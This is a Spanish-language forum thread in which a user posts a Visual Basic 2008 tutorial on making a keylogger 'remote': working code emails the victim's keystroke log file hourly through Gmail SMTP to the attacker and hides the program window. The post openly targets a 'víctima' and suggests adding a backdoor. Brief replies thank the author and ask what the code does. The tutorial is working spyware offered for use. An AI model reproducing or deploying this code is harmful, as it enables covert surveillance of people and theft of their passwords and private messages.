De Keylogger Local a Remoto (VB 2008)

Iniciado por ANTRAX, Febrero 23, 2010, 08:37:33 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Febrero 23, 2010, 08:37:33 AM Ultima modificación: Mayo 27, 2014, 09:55:25 PM por Expermicid
Intentaré explicar una forma sencilla de como hacer de un keylogger local a remoto usando VB 2008.

Consiste en enviar el archivo Log que crea el keylogger en el equipo de la victima por e-mail, de esta manera veremos el archivo log.

Necesitamos una cuenta gmail, desde la que enviaremos el archivo, y otra cuenta, de cualquier compañía (puede ser hotmail).

Comencemos a programar:

En nuestro form, añadimor un Timer, llamado Timer1

Encima de todo ponemos esto:
Código: vbnet
Imports System.Web
Imports System.IO
Imports System.Net.Mail


Y en el Timer1, con intervalo de 1h:
Código: vbnet
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim mail As New MailMessage()
        Dim Attach As Attachment
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "contraseña") 'para autentificarnos
        SmtpServer.Port = 587
        SmtpServer.Host = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        mail.To.Add("[email protected] u otro")
        mail.From = New MailAddress("[email protected]") 'la misma con la que nos autentificamos
        mail.Subject = "Asunto"
        Attach = New Attachment(Environ$("windir") & "\bhlg.txt") 'ruta del archivo Log(C:\Windows\bhlg.txt en este caso
        mail.Attachments.Add(Attach)
        mail.Body = "mensaje"
        SmtpServer.Send(mail)
    End Sub


Propiedades del form:
ShownInTaskBar: Flase
ShowIcon: False
Opacity: 0% (o en su defecto, en form load ponemos me.hide())

Espero que les haya servido;

P.D: Podrían tambien añadir un Backdoor, para borrar el keylogger y el sender, por que se os llenaría en email, por eso poner el intervalo de 1h xD

Saludos


Que bueno ANTRAX, lo probare de isofacto.
Saludos aqui ando XD.
System32
XD
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Hola ANTRAX veo que esto solo envia logs al email, mas no captura captura los tipeos cierto.
Saludos.
System32
XD
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No entiendo a que te refieres con no captura los tipeos.


Esto lo que hace exactamente es enviarte el log al mail NetFCruz.